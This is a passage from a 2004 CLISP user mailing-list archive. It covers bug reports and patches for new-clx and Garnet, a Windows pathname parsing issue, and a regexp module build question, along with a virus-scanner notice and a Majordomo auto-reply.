0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5)))) #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5) (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5)) ... From NAVMSE-CAMMIMS02@sapient.com Fri Jan 30 18:39:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aml2B-0005gQ-4S for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 18:38:59 -0800 Received: from 207-121-0-68.sapient.com ([207.121.0.68] helo=cammims02.sapient.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Am9fq-0004Ng-PO for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 02:45:26 -0800 Received: from mail pickup service by cammims02.sapient.com with Microsoft SMTPSVC; Thu, 29 Jan 2004 05:45:20 -0500 thread-index: AcPmVP2y1Hx6TvG+SW2JL5183lqPHA== Thread-Topic: Symantec Mail Security detected that you sent a message containing prohibited content (SYM:26775576890529267356) From: To: Message-ID: <1b0901c3e654$fdb254f0$0a01c80a@sapient.com> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft CDO for Exchange 2000 Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-OriginalArrivalTime: 29 Jan 2004 10:45:20.0447 (UTC) FILETIME=[FDB254F0:01C3E654] X-Spam-Score: 2.3 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.0 SUBJ_HAS_SPACES Subject contains lots of white space 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.2 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: [clisp-list] Symantec Mail Security detected that you sent a message containing prohibited content (SYM:26775576890529267356) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 18:45:22 2004 X-Original-Date: Thu, 29 Jan 2004 05:45:20 -0500 Subject of the message: hello Recipient of the message: "tfennell@sapient.com" From sds@gnu.org Fri Jan 30 19:24:48 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AmlkV-0002pd-N5 for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 19:24:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AmDXj-0007rz-Fw for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 06:53:20 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0TEqrp23727; Thu, 29 Jan 2004 09:52:57 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16408.3347.242266.831975@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 28 Jan 2004 20:27:15 +0100") References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> <16408.3347.242266.831975@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 19:30:50 2004 X-Original-Date: Thu, 29 Jan 2004 09:52:53 -0500 > * Pascal J.Bourguignon [2004-01-28 20:27:15 +0100]: > > Sam Steingold writes: >> > * Pascal J.Bourguignon [2004-01-23 22:04:02 +0100]: >> > >> > *** - SLOT-VALUE: The class # has no slot named XLIB::FONT-INFO >> > >> > <13> # >> > <14> # >> > <15> # >> >> please try the appended patch. > > With it, it goes further and stumble on a similar problem. good. > *** - SETF: The class # has no slot named XLIB::PLIST > <13> # > <14> # > <15> # please try the appended patch -- Sam Steingold (http://www.podval.org/~sds) running w2k PI seconds is a nanocentury --- clx.f.~2.13.~ 2004-01-25 12:49:13.280040600 -0500 +++ clx.f 2004-01-29 09:51:00.008332200 -0500 @@ -1584,7 +1584,7 @@ { /* the XLIB object and the new value are already on the stack */ if (isa_instance_of_p (type, STACK_1)) { pushSTACK(`XLIB::PLIST`); /* the slot */ - pushSTACK(STACK_1); /* new value */ + pushSTACK(STACK_(1+1)); /* new value */ funcall (L(set_slot_value), 3); skipSTACK(1); } else my_type_error(type,STACK_0); From sds@gnu.org Fri Jan 30 19:48:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Amm7A-0002p4-S5 for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 19:48:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AmKRV-0002lT-1F for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 14:15:21 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0TMF5p16027; Thu, 29 Jan 2004 17:15:07 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16408.3347.242266.831975@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 28 Jan 2004 20:27:15 +0100") References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> <16408.3347.242266.831975@thalassa.informatimago.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: new-clx builds bad encoding name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 19:54:08 2004 X-Original-Date: Thu, 29 Jan 2004 17:15:05 -0500 > * Pascal J.Bourguignon [2004-01-28 20:27:15 +0100]: > > With it, it goes further and stumble on a similar problem. (Tell me if > you need more details). I fixed the Garnet build (and demos) in the CVS. Please check it out. Thanks for reporting the bugs. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who don't know lisp are destined to reinvent it, poorly. From mgraffam@mathlab.sunysb.edu Fri Jan 30 19:56:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AmmEr-0005lh-Jn for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 19:56:09 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AmPrn-0000Qo-1G for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 20:02:51 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i0U42hWO006607 for ; Thu, 29 Jan 2004 23:02:43 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i0U42hJW006604 for ; Thu, 29 Jan 2004 23:02:43 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp and GNU TeXmacs integration Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 20:01:31 2004 X-Original-Date: Thu, 29 Jan 2004 23:02:43 -0500 (EST) On Thu, 29 Jan 2004, Sam Steingold wrote: > > * Michael Graffam [2004-01-28 20:24:32 -0500]: > > > > GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for > > CLisp. > > why isn't CLISP mentioned on > ? Good question! Probably because the Lisp plugin is new, and the web pages haven't been updated yet. Now that I look, I don't have authorship credit yet either :) I'll email the maintainers. Thanks for the pointer. -- Mike From russell_mcmanus@yahoo.com Fri Jan 30 20:35:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ammqd-0002Yo-C5 for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 20:35:11 -0800 Received: from dsl081-203-031.nyc2.dsl.speakeasy.net ([64.81.203.31] helo=thelonious.dyndns.org) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AmGnU-00084d-1h for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 10:21:48 -0800 Received: by thelonious.dyndns.org (Postfix, from userid 1000) id A6A3ABA; Thu, 29 Jan 2004 13:20:22 -0500 (EST) To: clisp-list@lists.sourceforge.net References: <87smhzzych.fsf@thelonious.dyndns.org> From: Russell McManus In-Reply-To: (Sam Steingold's message of "Thu, 29 Jan 2004 09:44:42 -0500") Message-ID: <87vfmuty55.fsf@thelonious.dyndns.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Portable Code, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: help building 2.32 with regexp module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 23:53:14 2004 X-Original-Date: Thu, 29 Jan 2004 13:20:22 -0500 Sam Steingold writes: >> * Russell McManus [2004-01-28 14:07:10 -0500]: >> >> This installed a binary in /usr/local/bin/clisp which works, but >> does not appear to include the regexp module. What am I doing >> wrong? > > > try "clisp -K full". Thank you. I suspected it was something very simple. -russ From kde-transl-approval@chemia.polsl.gliwice.pl Sat Jan 31 09:11:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Amye6-00047s-UA for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 09:11:02 -0800 Received: from mer.chemia.polsl.gliwice.pl ([157.158.35.39]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Amye6-0006Ew-6H for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 09:11:02 -0800 Received: (from majordomo@localhost) by mer.chemia.polsl.gliwice.pl (8.11.6/8.11.2) id i0VH3h426178; Sat, 31 Jan 2004 18:03:43 +0100 Message-Id: <200401311703.i0VH3h426178@mer.chemia.polsl.gliwice.pl> To: clisp-list@lists.sourceforge.net From: kde-transl-request@chemia.polsl.gliwice.pl X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.2 THE_FOLLOWING_FORM BODY: Asks you to fill out a form Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 31 09:11:03 2004 X-Original-Date: Sat, 31 Jan 2004 18:03:43 +0100 Subject: Your mail to kde-transl-request@chemia.polsl.gliwice.pl In-Reply-To: <200401311703.i0VH3fr26173@mer.chemia.polsl.gliwice.pl>, from clisp-list@lists.sourceforge.net Reply-To: kde-transl-approval@chemia.polsl.gliwice.pl This pre-recorded message is being sent in response to your recent email to kde-transl-request@chemia.polsl.gliwice.pl . All routine administrative requests (including subscriptions and unsubscriptions) concerning this mailing list are handled by an automated server. Please read this message carefully to find the information relevant to you. SUBSCRIBING =========== To subscribe to kde-transl, send the following in the body (not the subject line) of an email message to "Majordomo@chemia.polsl.gliwice.pl ": subscribe kde-transl This will subscribe the account from which you send the message to the kde-transl list. If you wish to subscribe another address instead (such as a local redistribution list), you can use a command of the form: subscribe kde-transl other-address@your_site.your_net UNSUBSCRIBING ============= To unsubscribe from kde-transl, send the following in the body (not the subject line) of an email message to "Majordomo@chemia.polsl.gliwice.pl ": unsubscribe kde-transl This will unsubscribe the account from which you send the message. If you are subscribed with some other address, you'll have to send a command of the following form instead: unsubscribe kde-transl other-address@your_site.your_net If you don't know what address you are subscribed with, you can send the following command to see who else is on the list (assuming that information isn't designated "private" by the owner of the list): who kde-transl If you want to search non-private lists at this server, you can do that by sending a command like: which string This will return a list of all entries on all lists that contain "string". HELP ==== To find out more about the automated server and the commands it understands, send the following command to "Majordomo@chemia.polsl.gliwice.pl ": help If you feel you need to reach a human, send email to: kde-transl-approval@chemia.polsl.gliwice.pl From sds@gnu.org Sat Jan 31 16:07:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1An599-0002BM-Rf for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 16:07:31 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1An599-00089T-CT for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 16:07:31 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1An597-00028J-00; Sat, 31 Jan 2004 19:07:29 -0500 To: clisp-list@lists.sourceforge.net, =?utf-8?q?Eduardo_Mu=C3=B1oz?= Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87hdydc9mr.fsf@terra.es> (Eduardo =?utf-8?q?Mu=C3=B1oz's?= message of "31 Jan 2004 00:14:04 +0100") References: <87hdydc9mr.fsf@terra.es> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 31 16:08:03 2004 X-Original-Date: Sat, 31 Jan 2004 19:07:28 -0500 > * Eduardo Mu=C3=B1oz [2004-01-31 00:14:04 +0100]: > > Clisp fails to open pathnames that have a semicolon: > > [57]> (lisp-implementation-version) > "2.32 (2003-12-29) (built 3281848709) (memory 3281887410)" > [58]> (directory "d:\\Temp\\clisp\\*") > (#P"D:\\Temp\\clisp\\foo;bar.baz") > [59]> (defvar foo (open (car *))) > *** - PARSE-NAMESTRING: syntax error in filename "D:\\Temp\\clisp\\foo;ba= r.baz" at position 2 > Break 1 [60]>=20 > > This is on windows 2000. The file can be opened on Linux > (same clisp version). you neglected to mention that this is an -ansi invocation. OPEN calls TRUENAME which, after resolving symbolic links, invokes PARSE-NAMESTRING, which, in ANSI mode, thinks that this is a logical pathname (because it contains a semicolon). Are you sure you need pathnames with embedded semicolons? > P.S. This one is the second time that I send this post to > gmane. Hopefully it wont be a duplicate. indeed, it _was_ a duplicate. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Sex is like air. It's only a big deal if you can't get any. From pascal@informatimago.com Sat Jan 31 21:56:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnAaa-00084r-Hj for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 21:56:12 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnAaX-0007FF-D4 for clisp-list@lists.sourceforge.net; Sat, 31 Jan 2004 21:56:10 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AE2FE586E2; Sun, 1 Feb 2004 06:55:48 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BF07438281; Sun, 1 Feb 2004 06:53:59 +0100 (CET) Message-ID: <16412.38007.156811.350222@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <400BDB3A-3F9E-11D8-BC6C-000A95E27FEE@afaa.asso.fr> <16400.35608.66852.835748@thalassa.informatimago.com> <16401.35906.905889.746106@thalassa.informatimago.com> <16408.3347.242266.831975@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 UPPERCASE_75_100 message body is 75-100% uppercase Subject: [clisp-list] Re: garnet with new-clx: The class # has no slot named XLIB::PLIST Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jan 31 21:57:03 2004 X-Original-Date: Sun, 1 Feb 2004 06:53:59 +0100 Sam Steingold writes: > > *** - SETF: The class # has no slot named XLIB::PLIST > > <13> # > > <14> # > > <15> # > > please try the appended patch > > --- clx.f.~2.13.~ 2004-01-25 12:49:13.280040600 -0500 > +++ clx.f 2004-01-29 09:51:00.008332200 -0500 > @@ -1584,7 +1584,7 @@ > { /* the XLIB object and the new value are already on the stack */ > if (isa_instance_of_p (type, STACK_1)) { > pushSTACK(`XLIB::PLIST`); /* the slot */ > - pushSTACK(STACK_1); /* new value */ > + pushSTACK(STACK_(1+1)); /* new value */ > funcall (L(set_slot_value), 3); > skipSTACK(1); > } else my_type_error(type,STACK_0); Now I get: Loading #P"/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary" ;; Loading file /local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp ... WARNING: DEFUN/DEFMACRO: redefining function GET-REFERENCE-FOR in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp, was defined in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32formula.lisp Object DIRECT-REF-QUERY-GADGET *** - SETF: The class # has no slot named XLIB::PLIST Break 1 C32[2]> :bt <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # 3 <11> # <12> # <13> # <14> # <15> # <16> # <17> # <18> # <19> # <20> # <21> # <22> # 1 EVAL frame for form (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA)) <23> # <24> # EVAL frame for form (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))) EVAL frame for form (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA)))) <25> # EVAL frame for form (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW)) (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))))) <26> # EVAL frame for form (LET ((GARNET-GADGETS::WINDOW (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) INTERACTORS:INTERACTOR-WINDOW T T NIL NIL '(:VISIBLE) (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW)))) (GARNET-GADGETS::AGGREGATE (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL NIL))) (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW)) (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE))) (IF #:G59728 (LET ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE) (KR::*KR-SEND-PARENT* NIL)) (FUNCALL #:G59728 OPAL::THE-SCHEMA))))) (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE)) (LET* ((#:G59729 OPAL::THE-SCHEMA) (#:G59730 (KR::VALUE-FN 